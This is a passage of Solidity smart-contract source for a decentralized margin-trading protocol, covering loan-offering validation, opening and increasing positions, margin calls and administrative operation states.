signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash));
}
return ecrecover(
signedHash,
v,
r,
s
);
}
}
interface LoanOfferingVerifier {
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
returns (address);
}
library BorrowShared {
using SafeMath for uint256;
struct Tx {
bytes32 positionId;
address owner;
uint256 principal;
uint256 lenderAmount;
MarginCommon.LoanOffering loanOffering;
address exchangeWrapper;
bool depositInHeldToken;
uint256 depositAmount;
uint256 collateralAmount;
uint256 heldTokenFromSell;
}
function validateTxPreSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
assert(transaction.lenderAmount >= transaction.principal);
require(
transaction.principal > 0,
"BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed"
);
if (transaction.loanOffering.taker != address(0)) {
require(
msg.sender == transaction.loanOffering.taker,
"BorrowShared#validateTxPreSell: Invalid loan offering taker"
);
}
if (transaction.loanOffering.positionOwner != address(0)) {
require(
transaction.owner == transaction.loanOffering.positionOwner,
"BorrowShared#validateTxPreSell: Invalid position owner"
);
}
if (AddressUtils.isContract(transaction.loanOffering.payer)) {
getConsentFromSmartContractLender(transaction);
} else {
require(
transaction.loanOffering.payer == TypedSignature.recover(
transaction.loanOffering.loanHash,
transaction.loanOffering.signature
),
"BorrowShared#validateTxPreSell: Invalid loan offering signature"
);
}
uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl(
state,
transaction.loanOffering.loanHash
);
require(
transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount,
"BorrowShared#validateTxPreSell: Loan offering does not have enough available"
);
require(
transaction.lenderAmount >= transaction.loanOffering.rates.minAmount,
"BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount"
);
require(
transaction.loanOffering.owedToken != transaction.loanOffering.heldToken,
"BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken"
);
require(
transaction.owner != address(0),
"BorrowShared#validateTxPreSell: Position owner cannot be 0"
);
require(
transaction.loanOffering.owner != address(0),
"BorrowShared#validateTxPreSell: Loan owner cannot be 0"
);
require(
transaction.loanOffering.expirationTimestamp > block.timestamp,
"BorrowShared#validateTxPreSell: Loan offering is expired"
);
require(
transaction.loanOffering.maxDuration > 0,
"BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration"
);
require(
transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration,
"BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration"
);
}
function doPostSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
validateTxPostSell(transaction);
transferLoanFees(state, transaction);
state.loanFills[transaction.loanOffering.loanHash] =
state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount);
}
function doSell(
MarginState.State storage state,
Tx transaction,
bytes orderData,
uint256 maxHeldTokenToBuy
)
internal
returns (uint256)
{
pullOwedTokensFromLender(state, transaction);
uint256 sellAmount = transaction.depositInHeldToken ?
transaction.lenderAmount :
transaction.lenderAmount.add(transaction.depositAmount);
uint256 heldTokenFromSell = Math.min256(
maxHeldTokenToBuy,
ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
sellAmount,
orderData
)
);
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
transaction.exchangeWrapper,
heldTokenFromSell
);
transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell);
return heldTokenFromSell;
}
function doDepositOwedToken(
MarginState.State storage state,
Tx transaction
)
internal
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
msg.sender,
transaction.exchangeWrapper,
transaction.depositAmount
);
}
function doDepositHeldToken(
MarginState.State storage state,
Tx transaction
)
internal
{
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
msg.sender,
transaction.depositAmount
);
transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount);
}
function validateTxPostSell(
Tx transaction
)
private
pure
{
uint256 expectedCollateral = transaction.depositInHeldToken ?
transaction.heldTokenFromSell.add(transaction.depositAmount) :
transaction.heldTokenFromSell;
assert(transaction.collateralAmount == expectedCollateral);
uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minHeldToken
);
require(
transaction.collateralAmount >= loanOfferingMinimumHeldToken,
"BorrowShared#validateTxPostSell: Loan offering minimum held token not met"
);
}
function getConsentFromSmartContractLender(
Tx transaction
)
private
{
verifyLoanOfferingRecurse(
transaction.loanOffering.payer,
getLoanOfferingAddresses(transaction),
getLoanOfferingValues256(transaction),
getLoanOfferingValues32(transaction),
transaction.positionId,
transaction.loanOffering.signature
);
}
function verifyLoanOfferingRecurse(
address contractAddr,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
private
{
address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering(
addresses,
values256,
values32,
positionId,
signature
);
if (newContractAddr != contractAddr) {
verifyLoanOfferingRecurse(
newContractAddr,
addresses,
values256,
values32,
positionId,
signature
);
}
}
function pullOwedTokensFromLender(
MarginState.State storage state,
Tx transaction
)
private
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
transaction.loanOffering.payer,
transaction.exchangeWrapper,
transaction.lenderAmount
);
}
function transferLoanFees(
MarginState.State storage state,
Tx transaction
)
private
{
if (transaction.loanOffering.feeRecipient == address(0)) {
return;
}
TokenProxy proxy = TokenProxy(state.TOKEN_PROXY);
uint256 lenderFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.lenderFee
);
uint256 takerFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.takerFee
);
if (lenderFee > 0) {
proxy.transferTokens(
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.payer,
transaction.loanOffering.feeRecipient,
lenderFee
);
}
if (takerFee > 0) {
proxy.transferTokens(
transaction.loanOffering.takerFeeToken,
msg.sender,
transaction.loanOffering.feeRecipient,
takerFee
);
}
}
function getLoanOfferingAddresses(
Tx transaction
)
private
pure
returns (address[9])
{
return [
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.payer,
transaction.loanOffering.owner,
transaction.loanOffering.taker,
transaction.loanOffering.positionOwner,
transaction.loanOffering.feeRecipient,
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.takerFeeToken
];
}
function getLoanOfferingValues256(
Tx transaction
)
private
pure
returns (uint256[7])
{
return [
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minAmount,
transaction.loanOffering.rates.minHeldToken,
transaction.loanOffering.rates.lenderFee,
transaction.loanOffering.rates.takerFee,
transaction.loanOffering.expirationTimestamp,
transaction.loanOffering.salt
];
}
function getLoanOfferingValues32(
Tx transaction
)
private
pure
returns (uint32[4])
{
return [
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.rates.interestPeriod
];
}
}
interface IncreaseLoanDelegator {
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
returns (address);
}
interface IncreasePositionDelegator {
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
returns (address);
}
library IncreasePositionImpl {
using SafeMath for uint256;
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
function increasePositionImpl(
MarginState.State storage state,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
BorrowShared.Tx memory transaction = parseIncreasePositionTx(
position,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature
);
validateIncrease(state, transaction, position);
doBorrowAndSell(state, transaction, orderData);
updateState(
position,
transaction.positionId,
transaction.principal,
transaction.lenderAmount,
transaction.loanOffering.payer
);
recordPositionIncreased(transaction, position);
return transaction.lenderAmount;
}
function increaseWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 principalToAdd
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
principalToAdd > 0,
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal"
);
require(
block.timestamp < uint256(position.startTimestamp).add(position.maxDuration),
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration"
);
uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal(
state,
position,
positionId,
principalToAdd
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
heldTokenAmount
);
updateState(
position,
positionId,
principalToAdd,
0,
msg.sender
);
emit PositionIncreased(
positionId,
msg.sender,
msg.sender,
position.owner,
position.lender,
"",
address(0),
0,
principalToAdd,
0,
heldTokenAmount,
true
);
return heldTokenAmount;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
uint256 collateralToAdd = getCollateralNeededForAddedPrincipal(
state,
state.positions[transaction.positionId],
transaction.positionId,
transaction.principal
);
BorrowShared.validateTxPreSell(state, transaction);
uint256 maxHeldTokenFromSell = MathHelpers.maxUint256();
if (!transaction.depositInHeldToken) {
transaction.depositAmount =
getOwedTokenDeposit(transaction, collateralToAdd, orderData);
BorrowShared.doDepositOwedToken(state, transaction);
maxHeldTokenFromSell = collateralToAdd;
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
maxHeldTokenFromSell
);
if (transaction.depositInHeldToken) {
require(
transaction.heldTokenFromSell <= collateralToAdd,
"IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken"
);
transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell);
BorrowShared.doDepositHeldToken(state, transaction);
}
assert(transaction.collateralAmount == collateralToAdd);
BorrowShared.doPostSell(state, transaction);
}
function getOwedTokenDeposit(
BorrowShared.Tx transaction,
uint256 collateralToAdd,
bytes orderData
)
private
view
returns (uint256)
{
uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost(
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
collateralToAdd,
orderData
);
require(
transaction.lenderAmount <= totalOwedToken,
"IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required"
);
return totalOwedToken.sub(transaction.lenderAmount);
}
function validateIncrease(
MarginState.State storage state,
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
view
{
assert(MarginCommon.containsPositionImpl(state, transaction.positionId));
require(
position.callTimeLimit <= transaction.loanOffering.callTimeLimit,
"IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position"
);
uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration);
uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration);
require(
positionEndTimestamp <= offeringEndTimestamp,
"IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position"
);
require(
block.timestamp < positionEndTimestamp,
"IncreasePositionImpl#validateIncrease: Position has passed its maximum duration"
);
}
function getCollateralNeededForAddedPrincipal(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalToAdd
)
private
view
returns (uint256)
{
uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
return MathHelpers.getPartialAmountRoundedUp(
principalToAdd,
position.principal,
heldTokenBalance
);
}
function updateState(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalAdded,
uint256 owedTokenLent,
address loanPayer
)
private
{
position.principal = position.principal.add(principalAdded);
address owner = position.owner;
address lender = position.lender;
increasePositionOnBehalfOfRecurse(
owner,
msg.sender,
positionId,
principalAdded
);
increaseLoanOnBehalfOfRecurse(
lender,
loanPayer,
positionId,
principalAdded,
owedTokenLent
);
}
function increasePositionOnBehalfOfRecurse(
address contractAddr,
address trader,
bytes32 positionId,
uint256 principalAdded
)
private
{
if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf(
trader,
positionId,
principalAdded
);
if (newContractAddr != contractAddr) {
increasePositionOnBehalfOfRecurse(
newContractAddr,
trader,
positionId,
principalAdded
);
}
}
function increaseLoanOnBehalfOfRecurse(
address contractAddr,
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 amountLent
)
private
{
if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf(
payer,
positionId,
principalAdded,
amountLent
);
if (newContractAddr != contractAddr) {
increaseLoanOnBehalfOfRecurse(
newContractAddr,
payer,
positionId,
principalAdded,
amountLent
);
}
}
function recordPositionIncreased(
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
{
emit PositionIncreased(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
position.owner,
position.lender,
transaction.loanOffering.loanHash,
transaction.loanOffering.feeRecipient,
transaction.lenderAmount,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.depositInHeldToken
);
}
function parseIncreasePositionTx(
MarginCommon.Position storage position,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
uint256 principal = values256[7];
uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principal,
block.timestamp
);
assert(lenderAmount >= principal);
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: positionId,
owner: position.owner,
principal: principal,
lenderAmount: lenderAmount,
loanOffering: parseLoanOfferingFromIncreasePositionTx(
position,
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[6],
depositInHeldToken: depositInHeldToken,
depositAmount: 0,
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOfferingFromIncreasePositionTx(
MarginCommon.Position storage position,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: position.owedToken,
heldToken: position.heldToken,
payer: addresses[0],
owner: position.lender,
taker: addresses[1],
positionOwner: addresses[2],
feeRecipient: addresses[3],
lenderFeeToken: addresses[4],
takerFeeToken: addresses[5],
rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferingRatesFromIncreasePositionTx(
MarginCommon.Position storage position,
uint256[8] values256
)
private
view
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: position.interestRate,
interestPeriod: position.interestPeriod
});
return rates;
}
}
contract MarginStorage {
MarginState.State state;
}
contract LoanGetters is MarginStorage {
function getLoanUnavailableAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash);
}
function getLoanFilledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanFills[loanHash];
}
function getLoanCanceledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanCancels[loanHash];
}
}
interface CancelMarginCallDelegator {
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
returns (address);
}
interface MarginCallDelegator {
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
returns (address);
}
library LoanImpl {
using SafeMath for uint256;
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
function marginCallImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requiredDeposit
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp == 0,
"LoanImpl#marginCallImpl: The position has already been margin-called"
);
marginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
requiredDeposit
);
position.callTimestamp = TimestampHelper.getBlockTimestamp32();
position.requiredDeposit = requiredDeposit;
emit MarginCallInitiated(
positionId,
position.lender,
position.owner,
requiredDeposit
);
}
function cancelMarginCallImpl(
MarginState.State storage state,
bytes32 positionId
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp > 0,
"LoanImpl#cancelMarginCallImpl: Position has not been margin-called"
);
cancelMarginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId
);
state.positions[positionId].callTimestamp = 0;
state.positions[positionId].requiredDeposit = 0;
emit MarginCallCanceled(
positionId,
position.lender,
position.owner,
0
);
}
function cancelLoanOfferingImpl(
MarginState.State storage state,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
public
returns (uint256)
{
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32
);
require(
msg.sender == loanOffering.payer,
"LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel"
);
require(
loanOffering.expirationTimestamp > block.timestamp,
"LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired"
);
uint256 remainingAmount = loanOffering.rates.maxAmount.sub(
MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash)
);
uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount);
if (amountToCancel == 0) {
return 0;
}
state.loanCancels[loanOffering.loanHash] =
state.loanCancels[loanOffering.loanHash].add(amountToCancel);
emit LoanOfferingCanceled(
loanOffering.loanHash,
loanOffering.payer,
loanOffering.feeRecipient,
amountToCancel
);
return amountToCancel;
}
function marginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId,
uint256 requiredDeposit
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
MarginCallDelegator(contractAddr).marginCallOnBehalfOf(
msg.sender,
positionId,
requiredDeposit
);
if (newContractAddr != contractAddr) {
marginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId,
requiredDeposit
);
}
}
function cancelMarginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf(
msg.sender,
positionId
);
if (newContractAddr != contractAddr) {
cancelMarginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId
);
}
}
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[0],
heldToken: addresses[1],
payer: addresses[2],
owner: addresses[3],
taker: addresses[4],
positionOwner: addresses[5],
feeRecipient: addresses[6],
lenderFeeToken: addresses[7],
takerFeeToken: addresses[8],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: new bytes(0)
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[7] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
interestRate: values32[2],
lenderFee: values256[3],
takerFee: values256[4],
interestPeriod: values32[3]
});
return rates;
}
}
contract MarginAdmin is Ownable {
uint8 private constant OPERATION_STATE_OPERATIONAL = 0;
uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1;
uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2;
uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3;
uint8 private constant OPERATION_STATE_INVALID = 4;
event OperationStateChanged(
uint8 from,
uint8 to
);
uint8 public operationState;
constructor()
public
Ownable()
{
operationState = OPERATION_STATE_OPERATIONAL;
}
modifier onlyWhileOperational() {
require(
operationState == OPERATION_STATE_OPERATIONAL,
"MarginAdmin#onlyWhileOperational: Can only call while operational"
);
_;
}
modifier cancelLoanOfferingStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY,
"MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state"
);
_;
}
modifier closePositionStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY
|| operationState == OPERATION_STATE_CLOSE_ONLY,
"MarginAdmin#closePositionStateControl: Invalid operation state"
);
_;
}
modifier closePositionDirectlyStateControl() {
_;
}
function setOperationState(
uint8 newState
)
external
onlyOwner
{
require(
newState < OPERATION_STATE_INVALID,
"MarginAdmin#setOperationState: newState is not a valid operation state"
);
if (newState != operationState) {
emit OperationStateChanged(
operationState,
newState
);
operationState = newState;
}
}
}
contract MarginEvents {
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
}
library OpenPositionImpl {
using SafeMath for uint256;
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openPositionImpl(
MarginState.State storage state,
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (bytes32)
{
BorrowShared.Tx memory transaction = parseOpenTx(
addresses,
values256,
values32,
depositInHeldToken,
signature
);
require(
!MarginCommon.positionHasExisted(state, transaction.positionId),
"OpenPositionImpl#openPositionImpl: positionId already exists"
);
doBorrowAndSell(state, transaction, orderData);
recordPositionOpened(
transaction
);
doStoreNewPosition(
state,
transaction
);
return transaction.positionId;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
BorrowShared.validateTxPreSell(state, transaction);
if (transaction.depositInHeldToken) {
BorrowShared.doDepositHeldToken(state, transaction);
} else {
BorrowShared.doDepositOwedToken(state, transaction);
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
MathHelpers.maxUint256()
);
BorrowShared.doPostSell(state, transaction);
}
function doStoreNewPosition(
MarginState.State storage state,
BorrowShared.Tx memory transaction
)
private
{
MarginCommon.storeNewPosition(
state,
transaction.positionId,
MarginCommon.Position({
owedToken: transaction.loanOffering.owedToken,
heldToken: transaction.loanOffering.heldToken,
lender: transaction.loanOffering.owner,
owner: transaction.owner,
principal: transaction.principal,
requiredDeposit: 0,
callTimeLimit: transaction.loanOffering.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: transaction.loanOffering.maxDuration,
interestRate: transaction.loanOffering.rates.interestRate,
interestPeriod: transaction.loanOffering.rates.interestPeriod
}),
transaction.loanOffering.payer
);
}
function recordPositionOpened(
BorrowShared.Tx transaction
)
private
{
emit PositionOpened(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
transaction.loanOffering.loanHash,
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.feeRecipient,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.depositInHeldToken
);
}
function parseOpenTx(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[9]),
owner: addresses[0],
principal: values256[7],
lenderAmount: values256[7],
loanOffering: parseLoanOffering(
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[10],
depositInHeldToken: depositInHeldToken,
depositAmount: values256[8],
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOffering(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[1],
heldToken: addresses[2],
payer: addresses[3],
owner: addresses[4],
taker: addresses[5],
positionOwner: addresses[6],
feeRecipient: addresses[7],
lenderFeeToken: addresses[8],
takerFeeToken: addresses[9],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[10] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: values32[2],
interestPeriod: values32[3]
});
return rates;
}
}
library OpenWithoutCounterpartyImpl {
struct Tx {
bytes32 positionId;
address positionOwner;
address owedToken;
address heldToken;
address loanOwner;
uint256 principal;
uint256 deposit;
uint32 callTimeLimit;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openWithoutCounterpartyImpl(
MarginState.State storage state,
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
public
returns (bytes32)
{
Tx memory openTx = parseTx(
addresses,
values256,
values32
);
validate(
state,
openTx
);
Vault(state.VAULT).transferToVault(
openTx.positionId,
openTx.heldToken,
msg.sender,
openTx.deposit
);
recordPositionOpened(
openTx
);
doStoreNewPosition(
state,
openTx
);
return openTx.positionId;
}
function doStoreNewPosition(
MarginState.State storage state,
Tx memory openTx
)
private
{
MarginCommon.storeNewPosition(
state,
openTx.positionId,
MarginCommon.Position({
owedToken: openTx.owedToken,
heldToken: openTx.heldToken,
lender: openTx.loanOwner,
owner: openTx.positionOwner,
principal: openTx.principal,
requiredDeposit: 0,
callTimeLimit: openTx.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: openTx.maxDuration,
interestRate: openTx.interestRate,
interestPeriod: openTx.interestPeriod
}),
msg.sender
);
}
function validate(
MarginState.State storage state,
Tx memory openTx
)
private
view
{
require(
!MarginCommon.positionHasExisted(state, openTx.positionId),
"openWithoutCounterpartyImpl#validate: positionId already exists"
);
require(
openTx.principal > 0,
"openWithoutCounterpartyImpl#validate: principal cannot be 0"
);
require(
openTx.owedToken != address(0),
"openWithoutCounterpartyImpl#validate: owedToken cannot be 0"
);
require(
